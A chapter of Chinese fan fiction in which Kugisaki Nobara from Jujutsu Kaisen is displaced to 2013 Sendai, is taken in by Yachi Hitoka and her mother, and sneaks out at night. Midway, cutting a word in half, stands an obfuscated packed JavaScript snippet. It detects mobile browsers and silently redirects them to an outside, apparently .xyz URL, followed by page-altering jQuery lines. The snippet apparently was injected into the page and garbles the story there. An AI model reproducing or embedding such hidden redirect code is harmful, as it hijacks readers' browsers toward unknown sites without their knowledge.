谷地凉子下班的时候,绵绵的雨终于停歇。她从地铁站走上来,没想到却在巷子口偶遇女儿,她正在和一个年纪相仿的女孩子说话,一边将自己的手机递给对方,一边表情困扰地摸着后脑勺。
女孩子留着一头利落的栗色短发,穿着一套蓝黑色的校服,腰后还绑着某个不知名的物件,光看轮廓瞧不出具体是什么,但很可能是刀具之类的东西。
没见过的校服,应该不是附近的学校,连“作案工具”都准备好了,专门来这里勒索的吗?
呵,现在的不良少女啊。
谷地凉子挑挑眉,噼里啪啦地踏着高跟鞋就往巷子里走,整个人看起来颇有气势。
“仁花,你在做什么?”她叫了一声。
“诶?母上大人!”谷地仁花吓了一跳,瞬间炸毛。
本想着早点回家准备晚餐和明天的早餐,可居然耽搁到了这个时间,连妈妈都下班了!!!
她慌张地左顾右盼,一时之间不知道应该先对母亲道歉还是先把野蔷薇介绍给她。
“2013年。”
钉崎野蔷薇难以置信地看着手机上的时间,她回到了五年前?不,也可能是敌人类似于幻境和噩梦的术式……又或者……这是另外一个陌生的世界?
没有任何诅咒的气息,空气中满是雨后的湿润和清香,可对她来说却是巨大的空虚与不安,野蔷薇咬着下唇,不自觉摸了摸自己的锤子。
没有……没有……一丝咒力也没有……
这到底是怎么回事?
“那个,”仁花小心翼翼地说:“妈妈,这是我认识的新朋友,她叫——”
动作一僵,仁花石化在原地。
完蛋啊,对方有说过她的名字吗??还是自己忘记了???
因为心慌和尴尬,她疯狂冒起冷汗,可这却让谷地凉子误以为,自家女儿是真的被威胁了。
“我说这位高中生小姐。”凉子讥讽一笑:“你打算对我乖巧可爱的女儿做什么?也说给我这个欧巴桑听听看好了。”
虽说平时她总是对仁花很严格,那是因为自己对这个女儿期望很大,可这并不代表,随便什么人都能欺负她。
“啊嘞。”仁花的汗落得更快了:“不是的妈妈……”
凉子打断她的话:“不用说了仁花,交给我吧。”
野蔷薇还没有缓过神来,听见背后有人说话,下意识转过身去。
洁白的绷带缠住了小半张脸,明明是与仁花一般稚嫩青涩的年纪,可眉目间却满是风尘仆仆的麻木与疲累。棕色的瞳孔很好看,细密的睫毛上还挂着尚未干透的水珠,可那眼神中,好像有着看透生死的冷漠和疏离。
饶是谷地凉子在职场打拼十多年,也没见过这样的眼神。
她一时有些语塞。
双方大眼瞪小眼。
反应了好一会儿,野蔷薇才慢悠悠地说:“哦,我的手机不见了,我本来想,唔,我想打个电话……”
“抱歉啊,好像吓到你们了。”她举着仁花的手机晃了晃,然后递回给她。
“诶?不打了吗?”
“嗯。”野蔷薇不知道该怎么说:“不用了,我不记得他们的号码。”
原来只是个迷路的高中生吗!!!
谷地凉子为自己的先入为主感到抱歉,红唇一撅:“可怜的孩子,我送你去警局吧?”
警局?野蔷薇抬头望了望天,两眼无神。
行吧。
*
警局的会客室墙上挂着一块电子显示屏,上面的时间赫然也写着同样的年份。野蔷薇默默扫了一眼,而后撑着下巴观察周围的环境。
“你是说,你本来应该在东京涩谷,结果因为某种不知名的原因,出现在了仙台?”
年轻的男警官惊奇地念着笔录,反复向野蔷薇确认。
“是这样没错吧,钉崎小姐?”
“没错。”野蔷薇敷衍地点点头。
她完全没有指望眼前这位伊藤警官能够理解她的现状,只是希望听了这些话,他能大发善心地安排人将她送回涩谷。
“没有具体的地址吗?”名为伊藤的年轻警官歪头思索:“涩谷可大着呢。”
“这你别管。”野蔷薇反呛回去:“带我到涩谷区就好。”
……很难搞的女高中生呢,伊藤一噎。
“或许,你是在花火大会上走丢的吗?”一旁的女警若有所思地指了指警卫室前的小电视:“今晚涩谷有烟火活动哦。”
“哈哈哈花泽警官,别开玩笑了,涩谷和仙台的距离可是……”
花泽一个刀子眼飞过去,伊藤立刻闭上了嘴。
野蔷薇没搭腔,目光却被电视机里花火大会的实时盛况吸引。
身着浴衣的女主持笑容甜美,声线明朗:“……整整一个小时过去,很高兴看到乌云散开……此刻,涩谷区已经聚集了成千上万的观众,这是日本夏季最浪漫的夜晚,让我们共同期待数十种不同的烟花在这片天空尽情绽放吧!”
高清的镜头自人们脸上一一扫过,明媚的笑容、雀跃的表情和动作,让野蔷薇不禁产生了错觉。好像这就是这个世界本来的样貌,好像这个世界,根本没有那么肮脏、邪恶、痛苦。
如果这是个没有咒灵也没有咒术师的世界,那么这个世界的大家,是不是都像所有平凡普通的人们一样,过着虽然无聊却真实又美好的生活呢?
没有死亡,没有离别的……真实又美好的生活……
一旦思及至此,野蔷薇的眼睛居然又酸涩起来,她不知道自己还会有这样感性懦弱的一面。
无论如何都想去确认一下啊。
深吸一口气,强迫自己镇定下来,在两位警官的争吵声中,她再次开口:“拜托了,请送我回涩谷!”
伊藤与花泽对视一眼,谁也没有说话。
“钉崎小姐,父母、亲人的电话呢,也不记得了吗?”
谷地凉子替她开口:“她说不记得了呢。”
老家的电话吗?倒是记得的。但是现在重要的不是那个小破乡村啊!
野蔷薇没反驳。
沉默片刻,伊藤歉疚地说:“抱歉,现在局里的人手不够,用车也紧张,可能没办法送你回去了。”
“不过你既然报警了,那么警方一定不会对你坐视不理,今天晚上你就先……”
“去我们家吧!”谷地凉子接过话头。
像是担心野蔷薇有所顾虑,她又补充道:“我们家就在附近,而且有空的客房,东西都齐全。家里平时只有我和女儿仁花,也怪冷清的,如果小野能来作伴的话,我们都会很欢迎的。”
擅自就叫她小野了啊,这个大姐。
野蔷薇狐疑地望着她。
时髦的棕卷发扎成马尾垂在肩头,脸很小,同样棕色的眸散发着友善的光,粉色的眼影和唇膏很适合她,板正的职业装让她看起来挺拔高挑,整个人有一种成熟又柔和的美。
跟她想象中的沙织一模一样。
鬼使神差地,野蔷薇说:“好。”
……
“谷地女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112066|179915||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
士。”
临走之前,伊藤叫住了谷地凉子。
他斟酌着开口:“根据以往的经验判断,她大概率是一位离家出走的叛逆女高中生,听口音不像东京,反倒像是九州地区的,也许是熊本一带……”
“局里人手紧张只是一点,另外的目的是为了让她说出实话。”
“毕竟她说的事情实在是太过匪夷所思了,您不会真的相信了吧?”
“啊……”凉子愣了愣。
她笔直地立在警局门前,叹着气将包包又往肩上提了一提。
花泽从局里走出来,一边瞟着野蔷薇一边对伊藤耳语:“没有查到附近有这样的校服,九州和涩谷地区都没有。”
伊藤点点头,面露难色:“总之,谷地女士,面对你和令千金也许她愿意说出实话,不过,不管她有什么异样的言语和举动,请一定要及时告诉我们警方,好吗?”
“好,我们保持联系。”凉子掏出手机记录下了他的联系方式。
*
野蔷薇比仁花稍微高一点,她对着镜子看着短了半截的可爱花花睡衣,表情一言难尽。
“嘿嘿。”
谷地仁花憋着笑,不好意思地说:“抱歉啊,钉崎同学,先将就着穿一下吧。”
她害羞地对了对手指:“唔,那个,我可以叫你野蔷薇……吗?”
野蔷薇朝她望过去。
“啊啊那个,不可以就算了!”仁花被这冷冰冰的视线吓出了蛋花眼,连忙摆手摇头,看起来可怜弱小又无辜。
“请便。”
寄人篱下,野蔷薇对称呼倒不是特别在意:“我也叫你仁花好了。”
她盯着镜子中的自己,默默抚了抚毛绒面料的睡衣,一股温暖到极致的感觉霎时间涌上心头。
难以言喻的心安袭来的瞬间,无法言说的后怕和恐惧也随之而来。
她下意识摸着心口。
“咚咚咚。”
凉子敲了敲门:“仁花,不要打扰小野休息了,时间很晚喽,明天早上不是还要早点去排球部吗?”
“啊!对哦。”仁花后知后觉。
“排球部?”野蔷薇敏感地捕捉到这个名词:“仁花是打排球的吗?”
“不是啦。”仁花挠挠头,腼腆地笑起来:“其实,我正在男子排球社做经理。”
“哦。”
野蔷薇兴趣缺缺。
“小野,今晚你就睡在这个房间吧。”谷地凉子女士大手一挥,一边将仁花推出去,一边从钱包里抽出几张一千日元和一些零散的硬币放在桌子上。
“明天我们都不在家,你可以自己出去吃一点。”
“别担心,你会找到家的。”凉子温声补充。
“那么,早点休息喽。”
房门被轻巧地合上,野蔷薇站在原地。
她看着桌子上的钱币,良久才轻轻地“嗯”了一声。
客厅的灯很快熄灭,门缝下唯一渗出的明亮是凉子打开冰箱拿啤酒的冷白光。
野蔷薇攥紧了钱,匍匐在门缝边,像一头等待觅食的猎豹……还是一只穿着花花睡衣的猎豹。
完全的黑暗之后,她轻手轻脚地打开了玄关的大门。
阳台上晾着她湿漉漉的高专校服,鞋柜上放着她的咒具。咬着唇想了想,野蔷薇将咒具系在腰间,最后望了一眼校服,而后狠心出了门。
休息……是不可能休息的。
夜晚才刚刚开始,她有更重要的事情要做。
警察不帮她,她自己帮自己。